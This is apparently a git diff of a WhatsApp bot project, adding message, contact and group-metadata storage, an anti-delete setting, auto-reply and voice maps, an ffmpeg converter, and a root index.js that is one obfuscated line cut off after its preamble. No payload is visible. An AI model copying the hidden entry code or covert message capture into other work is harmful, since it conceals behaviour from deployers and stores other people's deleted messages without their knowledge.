|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { DATABASE } = require('../lib/database');
|
2 |
+
const { DataTypes } = require('sequelize');
|
3 |
+
|
4 |
+
const AntiDelDB = DATABASE.define('AntiDelete', {
|
5 |
+
id: {
|
6 |
+
type: DataTypes.INTEGER,
|
7 |
+
primaryKey: true,
|
8 |
+
autoIncrement: false,
|
9 |
+
defaultValue: 1,
|
10 |
+
},
|
11 |
+
gc_status: {
|
12 |
+
type: DataTypes.BOOLEAN,
|
13 |
+
defaultValue: false,
|
14 |
+
},
|
15 |
+
dm_status: {
|
16 |
+
type: DataTypes.BOOLEAN,
|
17 |
+
defaultValue: false,
|
18 |
+
},
|
19 |
+
}, {
|
20 |
+
tableName: 'antidelete',
|
21 |
+
timestamps: false,
|
22 |
+
hooks: {
|
23 |
+
beforeCreate: record => { record.id = 1; },
|
24 |
+
beforeBulkCreate: records => { records.forEach(record => { record.id = 1; }); },
|
25 |
+
},
|
26 |
+
});
|
27 |
+
|
28 |
+
let isInitialized = false;
|
29 |
+
|
30 |
+
async function initializeAntiDeleteSettings() {
|
31 |
+
if (isInitialized) return;
|
32 |
+
try {
|
33 |
+
await AntiDelDB.sync();
|
34 |
+
await AntiDelDB.findOrCreate({
|
35 |
+
where: { id: 1 },
|
36 |
+
defaults: { gc_status: false, dm_status: false },
|
37 |
+
});
|
38 |
+
isInitialized = true;
|
39 |
+
} catch (error) {
|
40 |
+
console.error('Error initializing anti-delete settings:', error);
|
41 |
+
}
|
42 |
+
}
|
43 |
+
|
44 |
+
async function setAnti(type, status) {
|
45 |
+
try {
|
46 |
+
await initializeAntiDeleteSettings();
|
47 |
+
const record = await AntiDelDB.findByPk(1);
|
48 |
+
if (type === 'gc') record.gc_status = status;
|
49 |
+
else if (type === 'dm') record.dm_status = status;
|
50 |
+
await record.save();
|
51 |
+
return true;
|
52 |
+
} catch (error) {
|
53 |
+
console.error('Error setting anti-delete status:', error);
|
54 |
+
return false;
|
55 |
+
}
|
56 |
+
}
|
57 |
+
|
58 |
+
async function getAnti(type) {
|
59 |
+
try {
|
60 |
+
await initializeAntiDeleteSettings();
|
61 |
+
const record = await AntiDelDB.findByPk(1);
|
62 |
+
return type === 'gc' ? record.gc_status : record.dm_status;
|
63 |
+
} catch (error) {
|
64 |
+
console.error('Error getting anti-delete status:', error);
|
65 |
+
return false;
|
66 |
+
}
|
67 |
+
}
|
68 |
+
|
69 |
+
async function getAllAntiDeleteSettings() {
|
70 |
+
try {
|
71 |
+
await initializeAntiDeleteSettings();
|
72 |
+
const record = await AntiDelDB.findByPk(1);
|
73 |
+
return [{ gc_status: record.gc_status, dm_status: record.dm_status }];
|
74 |
+
} catch (error) {
|
75 |
+
console.error('Error retrieving all anti-delete settings:', error);
|
76 |
+
return [];
|
77 |
+
}
|
78 |
+
}
|
79 |
+
|
80 |
+
module.exports = {
|
81 |
+
AntiDelDB,
|
82 |
+
initializeAntiDeleteSettings,
|
83 |
+
setAnti,
|
84 |
+
getAnti,
|
85 |
+
getAllAntiDeleteSettings,
|
86 |
+
};
|
87 |
+
|
88 |
+
// by jawadtechx
|
data/autoreply.json
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"Hello":"*`°𝐇𝐄𝐘 𝐇𝐎𝐖 𝐀𝐑𝐄 𝐘𝐎𝐔`👀☺️*",
|
3 |
+
"Ali":"*`°𝐘𝐄𝐀𝐇 𝐀𝐋𝐈 𝐈𝐒 𝐇𝐄𝐑𝐄`♥️😇*",
|
4 |
+
"Jan":"*`°𝐘𝐄𝐀𝐇 𝐉𝐀𝐍`👀💗*",
|
5 |
+
"ok":"*`°𝐇𝐌𝐌`😇♥️*",
|
6 |
+
"Okey":"*`°𝐀𝐇𝐌𝐌`🫠🌸*",
|
7 |
+
"hhhhpo":"*`°𝐖𝐎𝐖...𝐇𝐀𝐂𝐊𝐄𝐑`☠️🤡*",
|
8 |
+
"Bye":"*`°𝐁𝐘𝐄 𝐓𝐀𝐊𝐄 𝐂𝐀𝐑𝐄`♥️😊*",
|
9 |
+
"Good morning":"*`°𝐀𝐒𝐒𝐋𝐀𝐌 𝐔 𝐀𝐋𝐀𝐈𝐊𝐔𝐌`💫♥️*",
|
10 |
+
"Good Night":"*`°𝐆𝐎𝐎𝐃 𝐍𝐈𝐆𝐇𝐓`🌉💤*"
|
11 |
+
}
|
data/autosticker.json
ADDED
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"bye":"https://i.ibb.co/FLR9rffH/bt.webp",
|
3 |
+
"love":"https://i.ibb.co/B5PhQ2qN/bt.webp",
|
4 |
+
"Ali":"https://i.ibb.co/TxXjg8Hc/bt.webp",
|
5 |
+
"hello":"https://i.ibb.co/0j7wdxXF/bt.webp",
|
6 |
+
"hi":"https://i.ibb.co/C334q3r4/bt.webp"
|
7 |
+
}
|
data/autovoice.json
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
".menu":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/PTT-20241110-WA0033.m4a",
|
3 |
+
".list":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/PTT-20241110-WA0033.m4a",
|
4 |
+
".alive":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a",
|
5 |
+
"hi":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a",
|
6 |
+
"hello":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a",
|
7 |
+
"molning":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_morning.mp3",
|
8 |
+
"good morning":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_morning.mp3",
|
9 |
+
"night":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_night.mp3",
|
10 |
+
"good night":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_night.mp3",
|
11 |
+
"hm":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3",
|
12 |
+
"hmm":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3",
|
13 |
+
"aww":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3",
|
14 |
+
"oye":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3",
|
15 |
+
"ustad":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3",
|
16 |
+
"haha":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3",
|
17 |
+
"hehe":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/Ponnaya(tbg).mp3",
|
18 |
+
"oka":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/kawa.mp3",
|
19 |
+
"wow":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/kellek%20oni.mp3",
|
20 |
+
"geo":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/wesi(tbg).mp3",
|
21 |
+
"I love you":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3",
|
22 |
+
"love":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3",
|
23 |
+
"love you":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3",
|
24 |
+
"ohh":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3",
|
25 |
+
"dear":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3",
|
26 |
+
"Maniiw":"https://files.catbox.moe/jt9cse.mp3",
|
27 |
+
"sir":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3",
|
28 |
+
"Ali":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3",
|
29 |
+
"nice":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3",
|
30 |
+
"bye":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3",
|
31 |
+
"by":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3"
|
32 |
+
}
|
data/converter.js
ADDED
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const fs = require('fs');
|
2 |
+
const path = require('path');
|
3 |
+
const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path;
|
4 |
+
const { spawn } = require('child_process');
|
5 |
+
|
6 |
+
class AudioConverter {
|
7 |
+
constructor() {
|
8 |
+
this.tempDir = path.join(__dirname, '../temp');
|
9 |
+
this.ensureTempDir();
|
10 |
+
}
|
11 |
+
|
12 |
+
ensureTempDir() {
|
13 |
+
if (!fs.existsSync(this.tempDir)) {
|
14 |
+
fs.mkdirSync(this.tempDir, { recursive: true });
|
15 |
+
}
|
16 |
+
}
|
17 |
+
|
18 |
+
async cleanFile(file) {
|
19 |
+
if (file && fs.existsSync(file)) {
|
20 |
+
await fs.promises.unlink(file).catch(() => {});
|
21 |
+
}
|
22 |
+
}
|
23 |
+
|
24 |
+
async convert(buffer, args, ext, ext2) {
|
25 |
+
const inputPath = path.join(this.tempDir, `${Date.now()}.${ext}`);
|
26 |
+
const outputPath = path.join(this.tempDir, `${Date.now()}.${ext2}`);
|
27 |
+
|
28 |
+
try {
|
29 |
+
await fs.promises.writeFile(inputPath, buffer);
|
30 |
+
|
31 |
+
return new Promise((resolve, reject) => {
|
32 |
+
const ffmpeg = spawn(ffmpegPath, [
|
33 |
+
'-y',
|
34 |
+
'-i', inputPath,
|
35 |
+
...args,
|
36 |
+
outputPath
|
37 |
+
], { timeout: 30000 });
|
38 |
+
|
39 |
+
let errorOutput = '';
|
40 |
+
ffmpeg.stderr.on('data', (data) => errorOutput += data.toString());
|
41 |
+
|
42 |
+
ffmpeg.on('close', async (code) => {
|
43 |
+
await this.cleanFile(inputPath);
|
44 |
+
|
45 |
+
if (code !== 0) {
|
46 |
+
await this.cleanFile(outputPath);
|
47 |
+
return reject(new Error(`Conversion failed with code ${code}`));
|
48 |
+
}
|
49 |
+
|
50 |
+
try {
|
51 |
+
const result = await fs.promises.readFile(outputPath);
|
52 |
+
await this.cleanFile(outputPath);
|
53 |
+
resolve(result);
|
54 |
+
} catch (readError) {
|
55 |
+
reject(readError);
|
56 |
+
}
|
57 |
+
});
|
58 |
+
|
59 |
+
ffmpeg.on('error', (err) => {
|
60 |
+
reject(err);
|
61 |
+
});
|
62 |
+
});
|
63 |
+
} catch (err) {
|
64 |
+
await this.cleanFile(inputPath);
|
65 |
+
await this.cleanFile(outputPath);
|
66 |
+
throw err;
|
67 |
+
}
|
68 |
+
}
|
69 |
+
|
70 |
+
toAudio(buffer, ext) {
|
71 |
+
return this.convert(buffer, [
|
72 |
+
'-vn',
|
73 |
+
'-ac', '2',
|
74 |
+
'-b:a', '128k',
|
75 |
+
'-ar', '44100',
|
76 |
+
'-f', 'mp3'
|
77 |
+
], ext, 'mp3');
|
78 |
+
}
|
79 |
+
|
80 |
+
toPTT(buffer, ext) {
|
81 |
+
return this.convert(buffer, [
|
82 |
+
'-vn',
|
83 |
+
'-c:a', 'libopus',
|
84 |
+
'-b:a', '128k',
|
85 |
+
'-vbr', 'on',
|
86 |
+
'-compression_level', '10'
|
87 |
+
], ext, 'opus');
|
88 |
+
}
|
89 |
+
}
|
90 |
+
|
91 |
+
module.exports = new AudioConverter();
|
data/index.js
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { AntiDelDB,
|
2 |
+
initializeAntiDeleteSettings,
|
3 |
+
setAnti,
|
4 |
+
getAnti,
|
5 |
+
getAllAntiDeleteSettings, } = require('./antidel');
|
6 |
+
const {
|
7 |
+
saveContact,
|
8 |
+
loadMessage,
|
9 |
+
getName,
|
10 |
+
getChatSummary,
|
11 |
+
saveGroupMetadata,
|
12 |
+
getGroupMetadata,
|
13 |
+
saveMessageCount,
|
14 |
+
getInactiveGroupMembers,
|
15 |
+
getGroupMembersMessageCount,
|
16 |
+
saveMessage,
|
17 |
+
} = require('./store');
|
18 |
+
|
19 |
+
|
20 |
+
module.exports = {
|
21 |
+
AntiDelDB,
|
22 |
+
initializeAntiDeleteSettings,
|
23 |
+
setAnti,
|
24 |
+
getAnti,
|
25 |
+
getAllAntiDeleteSettings,
|
26 |
+
saveContact,
|
27 |
+
loadMessage,
|
28 |
+
getName,
|
29 |
+
getChatSummary,
|
30 |
+
saveGroupMetadata,
|
31 |
+
getGroupMetadata,
|
32 |
+
saveMessageCount,
|
33 |
+
getInactiveGroupMembers,
|
34 |
+
getGroupMembersMessageCount,
|
35 |
+
saveMessage,
|
36 |
+
};
|
data/store.js
ADDED
@@ -0,0 +1,217 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { isJidBroadcast, isJidGroup, isJidNewsletter } = require('@whiskeysockets/baileys');
|
2 |
+
const fs = require('fs/promises')
|
3 |
+
const path = require('path')
|
4 |
+
const { DataTypes } = require('sequelize');
|
5 |
+
const { DATABASE } = require('../lib/database');
|
6 |
+
const storeDir = path.join(process.cwd(), 'store');
|
7 |
+
|
8 |
+
const readJSON = async (file) => {
|
9 |
+
try {
|
10 |
+
const filePath = path.join(storeDir, file);
|
11 |
+
const data = await fs.readFile(filePath, 'utf8');
|
12 |
+
return JSON.parse(data);
|
13 |
+
} catch {
|
14 |
+
return [];
|
15 |
+
}
|
16 |
+
};
|
17 |
+
|
18 |
+
const writeJSON = async (file, data) => {
|
19 |
+
const filePath = path.join(storeDir, file);
|
20 |
+
await fs.mkdir(storeDir, { recursive: true });
|
21 |
+
await fs.writeFile(filePath, JSON.stringify(data, null, 2));
|
22 |
+
};
|
23 |
+
|
24 |
+
const saveContact = async (jid, name) => {
|
25 |
+
if (!jid || !name || isJidGroup(jid) || isJidBroadcast(jid) || isJidNewsletter(jid)) return;
|
26 |
+
const contacts = await readJSON('contact.json');
|
27 |
+
const index = contacts.findIndex((contact) => contact.jid === jid);
|
28 |
+
if (index > -1) {
|
29 |
+
contacts[index].name = name;
|
30 |
+
} else {
|
31 |
+
contacts.push({ jid, name });
|
32 |
+
}
|
33 |
+
await writeJSON('contact.json', contacts);
|
34 |
+
};
|
35 |
+
|
36 |
+
const getContacts = async () => {
|
37 |
+
try {
|
38 |
+
const contacts = await readJSON('contact.json');
|
39 |
+
return contacts;
|
40 |
+
} catch (error) {
|
41 |
+
return [];
|
42 |
+
}
|
43 |
+
};
|
44 |
+
|
45 |
+
const saveMessage = async (message) => {
|
46 |
+
const jid = message.key.remoteJid;
|
47 |
+
const id = message.key.id;
|
48 |
+
if (!id || !jid || !message) return;
|
49 |
+
await saveContact(message.sender, message.pushName);
|
50 |
+
const messages = await readJSON('message.json');
|
51 |
+
const index = messages.findIndex((msg) => msg.id === id && msg.jid === jid);
|
52 |
+
const timestamp = message.messageTimestamp ? message.messageTimestamp * 1000 : Date.now();
|
53 |
+
if (index > -1) {
|
54 |
+
messages[index].message = message;
|
55 |
+
messages[index].timestamp = timestamp;
|
56 |
+
} else {
|
57 |
+
messages.push({ id, jid, message, timestamp });
|
58 |
+
}
|
59 |
+
await writeJSON('message.json', messages);
|
60 |
+
};
|
61 |
+
|
62 |
+
const loadMessage = async (id) => {
|
63 |
+
if (!id) return null;
|
64 |
+
const messages = await readJSON('message.json');
|
65 |
+
return messages.find((msg) => msg.id === id) || null;
|
66 |
+
};
|
67 |
+
|
68 |
+
const getName = async (jid) => {
|
69 |
+
const contacts = await readJSON('contact.json');
|
70 |
+
const contact = contacts.find((contact) => contact.jid === jid);
|
71 |
+
return contact ? contact.name : jid.split('@')[0].replace(/_/g, ' ');
|
72 |
+
};
|
73 |
+
|
74 |
+
const saveGroupMetadata = async (jid, client) => {
|
75 |
+
if (!isJidGroup(jid)) return;
|
76 |
+
const groupMetadata = await client.groupMetadata(jid);
|
77 |
+
const metadata = {
|
78 |
+
jid: groupMetadata.id,
|
79 |
+
subject: groupMetadata.subject,
|
80 |
+
subjectOwner: groupMetadata.subjectOwner,
|
81 |
+
subjectTime: groupMetadata.subjectTime
|
82 |
+
? new Date(groupMetadata.subjectTime * 1000).toISOString()
|
83 |
+
: null,
|
84 |
+
size: groupMetadata.size,
|
85 |
+
creation: groupMetadata.creation ? new Date(groupMetadata.creation * 1000).toISOString() : null,
|
86 |
+
owner: groupMetadata.owner,
|
87 |
+
desc: groupMetadata.desc,
|
88 |
+
descId: groupMetadata.descId,
|
89 |
+
linkedParent: groupMetadata.linkedParent,
|
90 |
+
restrict: groupMetadata.restrict,
|
91 |
+
announce: groupMetadata.announce,
|
92 |
+
isCommunity: groupMetadata.isCommunity,
|
93 |
+
isCommunityAnnounce: groupMetadata.isCommunityAnnounce,
|
94 |
+
joinApprovalMode: groupMetadata.joinApprovalMode,
|
95 |
+
memberAddMode: groupMetadata.memberAddMode,
|
96 |
+
ephemeralDuration: groupMetadata.ephemeralDuration,
|
97 |
+
};
|
98 |
+
|
99 |
+
const metadataList = await readJSON('metadata.json');
|
100 |
+
const index = metadataList.findIndex((meta) => meta.jid === jid);
|
101 |
+
if (index > -1) {
|
102 |
+
metadataList[index] = metadata;
|
103 |
+
} else {
|
104 |
+
metadataList.push(metadata);
|
105 |
+
}
|
106 |
+
await writeJSON('metadata.json', metadataList);
|
107 |
+
|
108 |
+
const participants = groupMetadata.participants.map((participant) => ({
|
109 |
+
jid,
|
110 |
+
participantId: participant.id,
|
111 |
+
admin: participant.admin,
|
112 |
+
}));
|
113 |
+
await writeJSON(`${jid}_participants.json`, participants);
|
114 |
+
};
|
115 |
+
|
116 |
+
const getGroupMetadata = async (jid) => {
|
117 |
+
if (!isJidGroup(jid)) return null;
|
118 |
+
const metadataList = await readJSON('metadata.json');
|
119 |
+
const metadata = metadataList.find((meta) => meta.jid === jid);
|
120 |
+
if (!metadata) return null;
|
121 |
+
|
122 |
+
const participants = await readJSON(`${jid}_participants.json`);
|
123 |
+
return { ...metadata, participants };
|
124 |
+
};
|
125 |
+
const saveMessageCount = async (message) => {
|
126 |
+
if (!message) return;
|
127 |
+
const jid = message.key.remoteJid;
|
128 |
+
const sender = message.key.participant || message.sender;
|
129 |
+
if (!jid || !sender || !isJidGroup(jid)) return;
|
130 |
+
|
131 |
+
const messageCounts = await readJSON('message_count.json');
|
132 |
+
const index = messageCounts.findIndex((record) => record.jid === jid && record.sender === sender);
|
133 |
+
|
134 |
+
if (index > -1) {
|
135 |
+
messageCounts[index].count += 1;
|
136 |
+
} else {
|
137 |
+
messageCounts.push({ jid, sender, count: 1 });
|
138 |
+
}
|
139 |
+
|
140 |
+
await writeJSON('message_count.json', messageCounts);
|
141 |
+
};
|
142 |
+
|
143 |
+
const getInactiveGroupMembers = async (jid) => {
|
144 |
+
if (!isJidGroup(jid)) return [];
|
145 |
+
const groupMetadata = await getGroupMetadata(jid);
|
146 |
+
if (!groupMetadata) return [];
|
147 |
+
|
148 |
+
const messageCounts = await readJSON('message_count.json');
|
149 |
+
const inactiveMembers = groupMetadata.participants.filter((participant) => {
|
150 |
+
const record = messageCounts.find((msg) => msg.jid === jid && msg.sender === participant.id);
|
151 |
+
return !record || record.count === 0;
|
152 |
+
});
|
153 |
+
|
154 |
+
return inactiveMembers.map((member) => member.id);
|
155 |
+
};
|
156 |
+
|
157 |
+
const getGroupMembersMessageCount = async (jid) => {
|
158 |
+
if (!isJidGroup(jid)) return [];
|
159 |
+
const messageCounts = await readJSON('message_count.json');
|
160 |
+
const groupCounts = messageCounts
|
161 |
+
.filter((record) => record.jid === jid && record.count > 0)
|
162 |
+
.sort((a, b) => b.count - a.count);
|
163 |
+
|
164 |
+
return Promise.all(
|
165 |
+
groupCounts.map(async (record) => ({
|
166 |
+
sender: record.sender,
|
167 |
+
name: await getName(record.sender),
|
168 |
+
messageCount: record.count,
|
169 |
+
}))
|
170 |
+
);
|
171 |
+
};
|
172 |
+
|
173 |
+
const getChatSummary = async () => {
|
174 |
+
const messages = await readJSON('message.json');
|
175 |
+
const distinctJids = [...new Set(messages.map((msg) => msg.jid))];
|
176 |
+
|
177 |
+
const summaries = await Promise.all(
|
178 |
+
distinctJids.map(async (jid) => {
|
179 |
+
const chatMessages = messages.filter((msg) => msg.jid === jid);
|
180 |
+
const messageCount = chatMessages.length;
|
181 |
+
const lastMessage = chatMessages.sort(
|
182 |
+
(a, b) => new Date(b.timestamp) - new Date(a.timestamp)
|
183 |
+
)[0];
|
184 |
+
const chatName = isJidGroup(jid) ? jid : await getName(jid);
|
185 |
+
|
186 |
+
return {
|
187 |
+
jid,
|
188 |
+
name: chatName,
|
189 |
+
messageCount,
|
190 |
+
lastMessageTimestamp: lastMessage ? lastMessage.timestamp : null,
|
191 |
+
};
|
192 |
+
})
|
193 |
+
);
|
194 |
+
|
195 |
+
return summaries.sort(
|
196 |
+
(a, b) => new Date(b.lastMessageTimestamp) - new Date(a.lastMessageTimestamp)
|
197 |
+
);
|
198 |
+
};
|
199 |
+
|
200 |
+
const saveMessageV1 = saveMessage;
|
201 |
+
const saveMessageV2 = (message) => {
|
202 |
+
return Promise.all([saveMessageV1(message), saveMessageCount(message)]);
|
203 |
+
};
|
204 |
+
|
205 |
+
module.exports = {
|
206 |
+
saveContact,
|
207 |
+
loadMessage,
|
208 |
+
getName,
|
209 |
+
getChatSummary,
|
210 |
+
saveGroupMetadata,
|
211 |
+
getGroupMetadata,
|
212 |
+
saveMessageCount,
|
213 |
+
getInactiveGroupMembers,
|
214 |
+
getGroupMembersMessageCount,
|
215 |
+
saveMessage: saveMessageV2,
|
216 |
+
};
|
217 |
+
|
data/updateDB.js
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { DATABASE } = require('../lib/database');
|
2 |
+
const { DataTypes } = require('sequelize');
|
3 |
+
|
4 |
+
const UpdateDB = DATABASE.define('UpdateInfo', {
|
5 |
+
id: {
|
6 |
+
type: DataTypes.INTEGER,
|
7 |
+
primaryKey: true,
|
8 |
+
autoIncrement: false,
|
9 |
+
defaultValue: 1,
|
10 |
+
},
|
11 |
+
commitHash: {
|
12 |
+
type: DataTypes.STRING,
|
13 |
+
allowNull: false,
|
14 |
+
},
|
15 |
+
}, {
|
16 |
+
tableName: 'update_info',
|
17 |
+
timestamps: false,
|
18 |
+
hooks: {
|
19 |
+
beforeCreate: (record) => { record.id = 1; },
|
20 |
+
beforeBulkCreate: (records) => {
|
21 |
+
records.forEach(record => { record.id = 1; });
|
22 |
+
},
|
23 |
+
},
|
24 |
+
});
|
25 |
+
|
26 |
+
async function initializeUpdateDB() {
|
27 |
+
await UpdateDB.sync();
|
28 |
+
const [record, created] = await UpdateDB.findOrCreate({
|
29 |
+
where: { id: 1 },
|
30 |
+
defaults: { commitHash: 'unknown' },
|
31 |
+
});
|
32 |
+
return record;
|
33 |
+
}
|
34 |
+
|
35 |
+
async function setCommitHash(hash) {
|
36 |
+
await initializeUpdateDB();
|
37 |
+
const record = await UpdateDB.findByPk(1);
|
38 |
+
record.commitHash = hash;
|
39 |
+
await record.save();
|
40 |
+
}
|
41 |
+
|
42 |
+
async function getCommitHash() {
|
43 |
+
await initializeUpdateDB();
|
44 |
+
const record = await UpdateDB.findByPk(1);
|
45 |
+
return record ? record.commitHash : 'unknown';
|
46 |
+
}
|
47 |
+
|
48 |
+
module.exports = {
|
49 |
+
UpdateDB,
|
50 |
+
setCommitHash,
|
51 |
+
getCommitHash,
|
52 |
+
};
|
heroku.yml
ADDED
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
build:
|
2 |
+
docker:
|
3 |
+
worker: DockerFile
|
4 |
+
run:
|
5 |
+
worker: npm install -g pm2 && npm start
|
6 |
+
|
7 |
+
|
index.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
const _0x301f9c=_0x9a22;(function(_0xb36eac,_0x36a56c){const _0x4950c4=_0x9a22,_0x13c0f8=_0xb36eac();while(!![]){try{const _0x1f070a=parseInt(_0x4950c4(0x1dd))/0x1+parseInt(_0x4950c4(0x26f))/0x2+parseInt(_0x4950c4(0x2e5))/0x3*(-parseInt(_0x4950c4(0x2cc))/0x4)+parseInt(_0x4950c4(0x28d))/0x5*(parseInt(_0x4950c4(0x378))/0x6)+parseInt(_0x4950c4(0x301))/0x7*(-parseInt(_0x4950c4(0x379))/0x8)+parseInt(_0x4950c4(0x318))/0x9+-parseInt(_0x4950c4(0x1a7))/0xa;if(_0x1f070a===_0x36a56c)break;else _0x13c0f8['push'](_0x13c0f8['shift']());}catch(_0x2957c7){_0x13c0f8['push'](_0x13c0f8['shift']());}}}(_0x54e6,0x9d18a));const _0x410b7a=(function(){let _0x4d988f=!![];return function(_0x256e7a,_0x247fd2){const _0x3f833a=_0x4d988f?function(){const _0x1fc56f=_0x9a22;if(_0x247fd2){const _0x3fcbfa=_0x247fd2[_0x1fc56f(0x1c6)](_0x256e7a,arguments);return _0x247fd2=null,_0x3fcbfa;}}:function(){};return _0x4d988f=![],_0x3f833a;};}()),_0x2fd83a=_0x410b7a(this,function(){const _0x4ef9c8=_0x9a22;return _0x2fd83a[_0x4ef9c8(0x32b)]()[_0x4ef9c8(0x302)]('(((.+)+)+)+$')['toString']()['constructor'](_0x2fd83a)['search'](_0x4ef9c8(0x1e9));});_0x2fd83a();const 